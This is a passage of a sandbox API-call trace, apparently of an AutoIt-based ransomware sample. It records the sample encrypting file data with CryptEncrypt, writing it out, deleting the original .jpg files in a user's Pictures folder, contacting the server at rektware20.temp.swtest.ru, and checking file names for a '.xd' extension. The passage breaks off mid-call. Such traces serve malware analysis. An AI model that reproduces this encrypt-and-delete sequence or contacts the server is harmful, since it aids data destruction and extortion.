lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.347] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.347] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1891d10*, pdwDataLen=0x130e618*=0xc44c, dwBufLen=0xc450 | out: pbData=0x1891d10*, pdwDataLen=0x130e618*=0xc450) returned 1 [0062.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.348] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.351] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.351] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.351] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.352] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.352] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.355] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.356] WriteFile (in: hFile=0x3bc, lpBuffer=0x17ecf78*, nNumberOfBytesToWrite=0xc450, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ecf78*, lpNumberOfBytesWritten=0x130f01c*=0xc450, lpOverlapped=0x0) returned 1 [0062.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.359] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.359] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.359] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.360] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.360] CryptDestroyKey (hKey=0x164c670) returned 1 [0062.360] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.360] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.360] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.360] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.360] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.360] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.360] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.360] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.361] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.361] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.361] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.361] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.361] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.361] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.361] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.361] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.362] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.362] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.362] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.362] CryptReleaseContext (hProv=0x17a9df0, dwFlags=0x0) returned 1 [0062.362] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.362] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.362] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.362] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.362] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.362] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.363] CloseHandle (hObject=0x2ac) returned 1 [0062.365] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.365] CloseHandle (hObject=0x3bc) returned 1 [0062.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.367] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", lpFilePart=0x0) returned 0x3a [0062.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\vg8il.jpg")) returned 0x20 [0062.367] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0062.367] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\vg8il.jpg")) returned 1 [0062.370] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.370] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0062.370] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.370] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.371] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.371] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.371] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.371] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.371] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.371] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.371] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.371] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0062.371] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.371] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.371] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.372] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.372] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.373] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.373] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.373] CloseHandle (hObject=0x0) returned 0 [0062.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 